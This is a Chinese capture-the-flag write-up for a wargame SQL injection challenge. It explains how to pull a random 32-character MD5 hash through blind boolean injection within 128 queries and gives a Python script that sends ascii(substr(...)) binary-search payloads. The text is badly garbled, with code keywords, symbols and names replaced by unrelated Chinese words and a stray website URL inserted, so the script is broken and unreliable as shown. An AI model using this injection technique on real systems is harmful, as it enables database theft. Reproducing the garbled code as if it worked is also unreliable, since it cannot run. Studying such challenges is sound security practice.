题目提示:
,,,, 1。你的任务是提取md5密码散列数据库。
,,,,需要获取数据库中的密码信息,而密码是经过md5加密的。
,,, 2。你的极限这种盲目的sql注入128查询。
,,,,最多可以注入128次,通过查看源代码可以看到超过了就会重新生成密码。
,,, 3。可以查看部分关键源代码
query 美元;=,“SELECT 1,得到(SELECT password 得到blight WHERE sessid=$ sessid), b WHERE 密码=美元密码”,
,,,,通过源代码可以看到存在注入漏洞,但是只能进行是或否的判断。
hash 美元;=,GWF_Random: randomKey(32岁,ABCDEF0123456789);
,,,,密码是随机生成的32位字符串,为大写f, 0 - 9。
解题:
,,,,通过二叉树法对32位密码的每一位进行判断,四次可以得到一位的值,32 * 4=128,正好128次注入可以得到密码,Python脚本如下:
#,- *安康;编码:,utf-8 - *安康; import urllib2 import urllib import cookielib import 字符串 import 再保险 import 饼干 毫升=,(“0”,“1”,“2”,“3”,“4”,“5”,“6”,“7”,“8”,“9”,“一个”,,“B”,“C”,“D”,“E”,,“F”); #,设置一个cookie处理器 时间=cj cookielib.CookieJar (); 时间=opener urllib2.build_opener (urllib2.HTTPCookieProcessor (cj)); urllib2.install_opener(刀); for lindex 拷贝范围(32): ,,,xj=, 0; ,,,xvalue=https://www.yisu.com/zixun/16; sindex的范围(4): 如果xj> 0: xvalue=xvalue + 16/(2 * * (sindex + 1)); 其他: xvalue=xvalue - 16/(2 * * (sindex + 1)); #第二次做的url请求,cookiejar将自动处理cookie loginBaiduUrl=" http://www.wechall.net/challenge/blind_light/index.php "; ,,,,,,,strinject =,‘1’,或ascii (substr(密码,% d, 1))在% d #”, % (lindex + 1,奥德(ml (xvalue-1))); ,,,,,,,# print strinject; ,,,,,,,para =, { ,,,,,,,,,,,“注入”,,:,strinject, ,,,,,,,,,,,“注入”,,:,“注入”, ,,,,,,,,,,,}; ,,,,,,,postData =, urllib.urlencode (para); ,,,,,,,req =, urllib2.Request (postData loginBaiduUrl也); ,,,,,,,req.add_header(“用户代理”,“Mozilla/5.0, (Windows NT 6.1;,房车:40.0),壁虎/20100101,Firefox/40.0”); ,,,,,,,req.add_header(“内容类型”,“应用程序/x-www-form-urlencoded”); ,,,,,,,req.add_header(“饼干”,“WC=8624571 - 16186 - h8nkqbmcengtesn4”); ,,,,,,,req.add_header(“推荐人”,“http://www.wechall.net/challenge/blind_light/index.php”); ,,,,,,,req.add_header(“连接”,“关闭”); ,,,,,,,resp =, urllib2.urlopen(要求的); ,,,,,,,respInfo =, resp.info (); ,,,,,,,#,通过正则匹配抓到需要统计的字符串 ,,,,,,,content =, resp.read () ,,,,,,,check_text =, re.findall(’(尝试[s \ \ !] {1,2}) & lt;/li>”,内容,re.S) [0] ,,,,,,# print check_text ,,,,,,,if check_text==俺⑹?”: ,,,,,,,,,,,xj=0; ,,,,,,,其他的: ,,,,,,,,,,,xj=1; ,,,if xj==0: ,,,,,,,print 毫升(xvalue-1); ,,,: ,,,,,,,print 毫升(xvalue);